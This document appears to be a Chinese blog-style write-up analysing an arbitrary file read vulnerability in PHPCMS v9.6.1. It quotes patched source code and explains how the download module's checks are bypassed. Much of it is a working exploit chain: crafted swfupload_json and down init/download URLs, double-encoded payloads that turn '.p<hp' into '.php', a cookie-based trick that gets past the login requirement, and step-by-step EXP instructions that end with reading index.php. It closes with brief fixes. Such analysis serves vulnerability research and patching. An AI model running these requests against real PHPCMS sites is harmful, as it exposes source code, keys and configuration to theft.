PHPCMS使用教程
介绍PHPCMSv9.6.1任意文件读取漏洞的挖掘
推荐(免费):PHPCMS使用教程
看到网上说出了这么一个漏洞,所以抽空分析了下,得出本篇分析。
1.准备工作&漏洞关键点快速扫描
1.1前置知识
这里把本次分析中需要掌握的知识梳理了下:
php原生parse_str方法,会自动进行一次urldecode,第二个参数为空,则执行类似extract操作。
立即学习“PHP免费学习笔记(深入)”;
原生empty方法,对字符串""返回true。
phpcms中sys_auth是对称加密且在不知道auth_key的情况下理论上不可能构造出有效密文。
1.2 快速扫描
先diff下v9.6.0和v9.6.1,发现phpcms/modules/content/down.php中有如下修改:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
--- a/phpcms/modules/content/down.php
+++ b/phpcms/modules/content/down.php
@@ -14,12 +14,16 @@ class down {
$a_k = sys_auth($a_k, DECODE, pc_base::load_config(system,auth_key));
if(empty($a_k)) showmessage(L(illegal_parameters));
unset($i,$m,$f);
+ $a_k = safe_replace($a_k);^M
parse_str($a_k);
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L(illegal_parameters));
if(!isset($modelid)||!isset($catid)) showmessage(L(illegal_parameters));
if(empty($f)) showmessage(L(url_invalid));
$allow_visitor = 1;
+ $id = intval($id);^M
+ $modelid = intval($modelid);^M
+ $catid = intval($catid);^M
$MODEL = getcache(model,commons);
$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid][tablename];
$this->db->table_name = $tablename._data;
@@ -86,6 +90,7 @@ class down {
$a_k = sys_auth($a_k, DECODE, $pc_auth_key);
if(empty($a_k)) showmessage(L(illegal_parameters));
unset($i,$m,$f,$t,$ip);
+ $a_k = safe_replace($a_k);^M
parse_str($a_k);
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L(illegal_parameters));
@@ -118,6 +123,7 @@ class down {
}
$ext = fileext($filename);
$filename = date(Ymd_his).random(3)...$ext;
+ $fileurl = str_replace(array(<,>), ,$fileurl);^M
file_down($fileurl, $filename);
}
}
主要修改了两个方法init()和download(),大胆的猜想估计是这两个函数出问题了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function init() {
$a_k = trim($_GET@[a_k]);
if(!isset($a_k)) showmessage(L(illegal_parameters));
$a_k = sys_auth($a_k, DECODE, pc_base::load_config(system,auth_key));//关键点1
if(empty($a_k)) showmessage(L(illegal_parameters));
unset($i,$m,$f);
$a_k = safe_replace($a_k);//关键点2
parse_str($a_k);//关键点3
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L(illegal_parameters));
if(!isset($modelid)||!isset($catid)) showmessage(L(illegal_parameters));
if(empty($f)) showmessage(L(url_invalid));
$allow_visitor = 1;
$id = intval($id);
$modelid = intval($modelid);
$catid = intval($catid);
......
if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i,$f) || strpos($f, ":")!==FALSE || strpos($f,..)!==FALSE) showmessage(L(url_error));//关键点4
if(strpos($f, http://) !== FALSE || strpos($f, ftp://) !== FALSE || strpos($f, ://) === FALSE) {
$pc_auth_key = md5(pc_base::load_config(system,auth_key).$_SERVER[HTTP_USER_AGENT].down);
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, ENCODE, $pc_auth_key));//关键点5
$downurl = ?m=content&c=down&a=download&a_k=.$a_k;
} else {
$downurl = $f;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public function download() {
$a_k = trim($_GET@[a_k]);
$pc_auth_key = md5(pc_base::load_config(system,auth_key).$_SERVER[HTTP_USER_AGENT].down);//关键点6
$a_k = sys_auth($a_k, DECODE, $pc_auth_key);
if(empty($a_k)) showmessage(L(illegal_parameters));
unset($i,$m,$f,$t,$ip);
$a_k = safe_replace($a_k);//关键点7
parse_str($a_k);//关键点8
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L(illegal_parameters));
if(!isset($modelid)) showmessage(L(illegal_parameters));
if(empty($f)) showmessage(L(url_invalid));
if(!$i || $m<0) showmessage(L(illegal_parameters));
if(!isset($t)) showmessage(L(illegal_parameters));
if(!isset($ip)) showmessage(L(illegal_parameters));
$starttime = intval($t);
if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i,$f) || strpos($f, ":")!==FALSE || strpos($f,..)!==FALSE) showmessage(L(url_error));//关键点9
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L(illegal_parameters));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L(url_invalid));
if($m) $fileurl = trim($s).trim($fileurl);//关键点10
if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i,$fileurl) ) showmessage(L(url_error));//关键点11
//远程文件
if(strpos($fileurl, :/) && (strpos($fileurl, pc_base::load_config(system,upload_url)) === false)) { //关键点12
header("Location: $fileurl");
} else {
if($d == 0) {
header("Location: ".$fileurl);//关键点13
} else {
$fileurl = str_replace(array(pc_base::load_config(system,upload_url),/), array(pc_base::load_config(system,upload_path),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);//关键点14
//处理中文文件
if(preg_match("/^([sS]*?)([�-�][@-�])([sS]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));//关键点15
}
$ext = fileext($filename);//关键点16
$filename = date(Ymd_his).random(3)...$ext;
$fileurl = str_replace(array(<,>), ,$fileurl);//关键点17
file_down($fileurl, $filename);//关键点18
}
}
}
safe_replace函数如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function safe_replace($string) {
$string = str_replace(%20,,$string);
$string = str_replace(%27,,$string);
$string = str_replace(%2527,,$string);
$string = str_replace(*,,$string);
$string = str_replace(",",$string);
$string = str_replace("",,$string);
$string = str_replace(",,$string);
$string = str_replace(;,,$string);
$string = str_replace(<,<,$string);
$string = str_replace(>,>,$string);
$string = str_replace("{",,$string);
$string = str_replace(},,$string);
$string = str_replace(,,$string);
return $string;
}
init方法中根据原始的$a_k(包含了file_down的文件的基本信息),进行一次验证,并且生成,调用
download方法的url,url的schema为$downurl=?m=content&c=down&a=download&a_k=.$a_k(必须符合一定条件。)
download方法接收到$a_k,进行解码,解出文件信息,调用file_down($fileurl, $filename)( 必须符合一定条件)
我们来看下file_down函数,第一个参数$filepath,才是实际控制readfile的文件名的变量,readfile可以读取本地文件,所以我们构造符合条件的$fileurl绕过上述的限制就可以完成本地文件的读取功能!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function file_down($filepath, $filename = ) {
if(!$filename) $filename = basename($filepath);
if(is_ie()) $filename = rawurlencode($filename);
$filetype = fileext($filename);
$filesize = sprintf("%u", filesize($filepath));
if(ob_get_length() !== false) @ob_end_clean();
header(Pragma: public);
header(Last-Modified: .gmdate(D, d M Y H:i:s) . GMT);
header(Cache-Control: no-store, no-cache, must-revalidate);
header(Cache-Control: pre-check=0, post-check=0, max-age=0);
header(Content-Transfer-Encoding: binary);
header(Content-Encoding: none);
header(Content-type: .$filetype);
header(Content-Disposition: attachment; filename=".$filename.");
header(Content-length: .$filesize);
readfile($filepath);
exit;
}
如果我们要读取站点的.php结尾文件,由于有关键点11存在,$fileurl中不能出现php,不过从关键点17可以看到进行了替换
1
$fileurl = str_replace(array(<,>), ,$fileurl);//关键点17
那么可以想到我们构造出符合.ph([]+)p的文件后缀,最后会被替换成.php。而且这句话是9.6.1新增的,更加确定了,这个漏洞是9.6.1特有的。
再向上上看
1
if($m) $fileurl = trim($s).trim($fileurl);//关键点10
1
$fileurl = trim($f);
1
2
$a_k = safe_replace($a_k);//关键点7
parse_str($a_k);//关键点8
通过parse_str来extract变量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid变量,看到这里我们可以构造$a_k来控制这些变量。
1.2.2$a_k变量分析再向上看
1
2
$pc_auth_key = md5(pc_base::load_config(system,auth_key).$_SERVER[HTTP_USER_AGENT].down);//关键点6
$a_k = sys_auth($a_k, DECODE, $pc_auth_key);
这个关键点6很重要,因为这里的$pc_auth_key几乎是不可能暴力出来的,然而得到这个加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我们只能通过init()方法来构造$a_k。
我们现在来看下init方法
1
2
3
$a_k = trim($_GET@[a_k]);
if(!isset($a_k)) showmessage(L(illegal_parameters));
$a_k = sys_auth($a_k, DECODE, pc_base::load_config(system,auth_key));//关键点1
这里可以发现sys_auth的auth竟然是使用系统默认的auth_key,直觉告诉我可能问题出在这里了,除了这个区别,init方法别的逻辑就不再赘述。
1.2.3小结总结一下:
index.php?m=content&c=down&a=init&a_k=想办法构造出符合条件的。
然后init方法会构造出符合download方法中能够解密的$a_k。
通过对$a_k进行控制,间接控制$i,$f,$m,$s,$d等变量完成漏洞的利用。
2.漏洞挖掘过程
2.1 init方法所接受的$a_k构造
2.1.1探索正常流程中的$a_k构造过程对源码进行快速扫描,看看哪些地方能够生产对init方法的调用,其实就是常规的下载模型的逻辑。
phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中会生成init方法的$a_k
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function downfile($field, $value) {
extract(string2array($this->fields[$field][setting]));
$list_str = array();
if($value){
$value_arr = explode(|,$value);
$fileurl = $value_arr[0];
if($fileurl) {
$sel_server = $value_arr[1] ? explode(,,$value_arr[1]) : ;
$server_list = getcache(downservers,commons);
if(is_array($server_list)) {
foreach($server_list as $_k=>$_v) {
if($value && is_array($sel_server) && in_array($_k,$sel_server)) {
$downloadurl = $_v[siteurl].$fileurl;
if($downloadlink) {
$a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", ENCODE, pc_base::load_config(system,auth_key)));
$list_str[] = "<a href=".APP_PATH."index.php?m=content&c=down&a_k={$a_k} target=_blank>{$_v[sitename]}</a>";
} else {
$list_str[] = "<a href={$downloadurl} target=_blank>{$_v[sitename]}</a>";
}
}
}
}
return $list_str;
}
}
}
但是分析发现,content_input和content_output逻辑中权限验证和限制逻辑比较完善,基本不存在利用可能。
2.1.2 黑科技构造$a_k由于是sys_auth是对称加密,那么能不能找个使用相同密钥生成的地方来生成,对sys_auth进行全文搜索,我们找找有没有符合下列条件的上下文
方式是ENCODE
Auth_key是系统默认的即:pc_base::load_config(system,auth_key)
且待加密内容是可控的(可以是我们$_REQUEST的数据,或者可以构造的)
加密后的数据有回显的。
共找到58个匹配项,但是没有符合上下文的,不过我们可以注意到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static function set_cookie($var, $value = , $time = 0) {
$time = $time > 0 ? $time : ($value == ? SYS_TIME - 3600 : 0);
$s = $_SERVER[SERVER_PORT] == 443 ? 1 : 0;
$var = pc_base::load_config(system,cookie_pre).$var;
$_COOKIE[$var] = $value;
if (is_array($value)) {
foreach($value as $k=>$v) {
setcookie($var.[.$k.], sys_auth($v, ENCODE), $time, pc_base::load_config(system,cookie_path), pc_base::load_config(system,cookie_domain), $s);
}
} else {
setcookie($var, sys_auth($value, ENCODE), $time, pc_base::load_config(system,cookie_path), pc_base::load_config(system,cookie_domain), $s);
}
}
public static function get_cookie($var, $default = ) {
$var = pc_base::load_config(system,cookie_pre).$var;
return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], DECODE) : $default;
}
param::set_cookie param::get_cookie 对cookie加密是使用默认的auth_key的。
马上对set_cookie进行全文搜索,并且查找符合下列条件的上下文。
set_cookie的内容是可控的。
set_cookie的触发条件尽可能的限制小。
一共找到122个匹配项,找到了两个比较好的触发点。
phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法
video模块需要管理员权限,就不考虑了,attachment模块只要是注册用户即可调用。
我们来看下swfupload_json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function swfupload_json() {
$arr[aid] = intval($_GET@[aid]);
$arr[src] = safe_replace(trim($_GET@[src]));
$arr[filename] = urlencode(safe_replace($_GET@[filename]));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie(att_json);
$att_arr_exist_tmp = explode(||, $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.||.$json_str : $json_str;
param::set_cookie(att_json,$json_str);
return true;
}
}
我们可以通过src和filename来构造,最终我选的是src,最终形式会是一个json串,当然有多个会以"||"分割。
我们注册个用户登录之后,调用
1
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn
产生的数据会是
1
{"aid":888,"src":"fobnn","filename":""}
然后我们得到response.header中的set-cookie ["att_json"]。
1
1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
我们修改下down.php->init方法,把DECODE之后的$a_k输出来。
然后我们调用
1
2
index.php?m=content&c=down&a=init
&a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
激动人心,init方法成功DECODE了$a_k
好了目前验证了我们的想法可行,接下来应该构造可用的payload了。
2.2 json和parse_str
目前要解决的就是 从json中parse_str并且能够解析出$i,$m,$f等变量。
1
{"aid":888,"src":"fobnn=q&p1=12312","filename":""}
解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}
说明parse_str还是解析还是可以实现的,前后闭合一下,中间填充我们需要的变量即可,例如
1
{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}
那么fobnn和p1就是正常解析的,src需要URLENCODE提交,这样不会导致php解析错误。
2.3 构造符合init方法的$a_k
我们先构造一个符合init方法的$a_k使得能完成正常的流程。
1
2
3
4
5
6
7
8
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L(illegal_parameters));
if(!isset($modelid)||!isset($catid)) showmessage(L(illegal_parameters));
if(empty($f)) showmessage(L(url_invalid));
$allow_visitor = 1;
$id = intval($id);
$modelid = intval($modelid);
$catid = intval($catid);
构造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用来满足条件。
1
2
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1
src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d
得到
1
2
3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ
{"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}
然后提交
1
2
index.php?m=content&c=down&a=init
&a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ
成功!页面已经生成了调用download方法的url
1
2
3
4
5
6
7
8
</head>
<body>
<style type="text/css">
body, html{ background:#FFF!important;}
</style>
<a href="?m=content&c=down&a=download&a_k=a602eCW5tkuTZTtvLeYrcU0kSTKdCLFcNAQ06GE74c9zc6NMUaHAss9zwCa-glxRmBtylSbtrxMNTxy5knsFrZIeC_iCRmj3pTSuQxTHxps3qs4U6pKLIz4y3A" class="xzs_btn"></a>
</body>
</html>
2.4绕过限制构造最终payload
目前正常流程已经走通,把目光集中在如何构造出符合的$fileurl,来看下init方法中
1
2
3
4
5
6
7
8
if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i,$f) || strpos($f, ":")!==FALSE || strpos($f,..)!==FALSE) showmessage(L(url_error));
if(strpos($f, http://) !== FALSE || strpos($f, ftp://) !== FALSE || strpos($f, ://) === FALSE) {
$pc_auth_key = md5(pc_base::load_config(system,auth_key).$_SERVER[HTTP_USER_AGENT].down);
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, ENCODE, $pc_auth_key));
$downurl = ?m=content&c=down&a=download&a_k=.$a_k;
} else {
$downurl = $f;
}
对f的限制还是蛮多的,包括常规黑名单检测php,asp等。也不能出现"..",":"
还好我们看到download函数中
1
if($m) $fileurl = trim($s).trim($fileurl);//关键点10
我们可以通过控制$m就可以通过$s来构造了,而$m和$s参与了$a_k的构造。
在init方法中我们可以构造 m=1&s=.php&f=index 类似的来绕过init方法的检测,我们把目光聚焦到download方法。
1
2
3
//常规检测代码就不贴了,$i,$t,$m,$modelid,$t,$ip的检测。
if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i,$f) || strpos($f, ":")!==FALSE || strpos($f,..)!==FALSE) showmessage(L(url_error));
$fileurl = trim($f);
通过这样的构造上面这个检测肯定可以绕过,但发现下面检测就会出问题,最后$fileurl还是会变成index.php
1
2
3
if($m) $fileurl = trim($s).trim($fileurl);
if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i,$fileurl) ) showmessage(L(url_error));
//远程文件
好在快速扫描中看到的
1
$fileurl = str_replace(array(<,>), ,$fileurl);//关键点17
另外又看到
1
2
if($d == 0) {
header("Location: ".$fileurl);
那么构造出 d=1&m=1&f=.p
最终pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p
由于safe_replce的存在所以
所以可以构造
d=1&m=1&f=.p%3chp&s=index
我们发现在init方法中会safe_replace一次,和parse_str一次。
那么最终编码到download $a_k中的数据实际还是
所以我们要确保在init方法编码的时候是%3c即可,对%3c进行一次urlencode,构造
d=1&m=1&f=.p%253chp&s=index
当然要读取别的目录的,那同样对目录路径进行编码。
2.4.2最终payload
以读取首页index.php为例
1
2
3
pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1
&src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d
1
2
8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ
{"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""}
1
index.php?m=content&c=down&a=init&a_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ
1
index.php?m=content&c=down&a=download&a_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY
最终提示下载文件,文件下载成功,打开来看确实是index.php内容。
2.5绕过attachment模块权限限制完成无限制利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class attachments {
private $att_db;
function __construct() {
pc_base::load_app_func(global);
$this->upload_url = pc_base::load_config(system,upload_url);
$this->upload_path = pc_base::load_config(system,upload_path);
$this->imgext = array(jpg,gif,png,bmp,jpeg);
$this->userid = $_SESSION[userid] ? $_SESSION[userid] : (param::get_cookie(_userid) ? param::get_cookie(_userid) : sys_auth($_POST@[userid_flash],DECODE));
$this->isadmin = $this->admin_username = $_SESSION[roleid] ? 1 : 0;
$this->groupid = param::get_cookie(_groupid) ? param::get_cookie(_groupid) : 8;
//判断是否登录
if(empty($this->userid)){
showmessage(L(please_login,,member));
}
}
可以发现
1
sys_auth($_POST@[userid_flash],DECODE)
可控制$this->userid且没有复杂的权限校验,而且又是默认AUTH_KEY加密的。
全文找下无限制可以set_cookie的,发现WAP模块可以利用
1
2
3
4
5
6
7
8
9
10
11
12
pc_base::load_sys_class(format, , 0);
class index {
function __construct() {
$this->db = pc_base::load_model(content_model);
$this->siteid = isset($_GET@[siteid]) && (intval($_GET@[siteid]) > 0) ? intval(trim($_GET@[siteid])) : (param::get_cookie(siteid) ? param::get_cookie(siteid) : 1);
param::set_cookie(siteid,$this->siteid);
$this->wap_site = getcache(wap_site,wap);
$this->types = getcache(wap_type,wap);
$this->wap = $this->wap_site[$this->siteid];
define(WAP_SITEURL, $this->wap[domain] ? $this->wap[domain].index.php? : APP_PATH.index.php?m=wap&siteid=.$this->siteid);
if($this->wap[status]!=1) exit(L(wap_close_status));
}
没有任何条件限制我们可以$_GET@[siteid]来控制param::set_cookie(siteid,$this->siteid),且默认都有WAP模块的文件,但不需要开启。
3.EXP编写
流程如下:
index.php?m=wap&c=index&siteid=1 获取名称为siteid的cookie。
访问index.php?m=attachment&c=attachments&a=swfupload_json&aid=1
1
&src=想要读取文件的payload,并且访问的时候设置post字段userid_flash为步骤一获取的cookie.
响应成功之后,获取名称为att_json的cookie
访问index.php?m=content&c=down&a=init&a_k=获取到的att_json,来构造最终漏洞利用路径,
可以直接截取生成的$a_k
访问index.php?m=content&c=download&a=init&a_k=截取的$a_k.完成利用。
4.修复方案
init方法中的$a_k 加解密sys_auth不要采用默认密钥。
file_down之前对$fileurl再做一次过滤。
以上就是讲解PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过程的详细内容,更多请关注php中文网其它相关文章!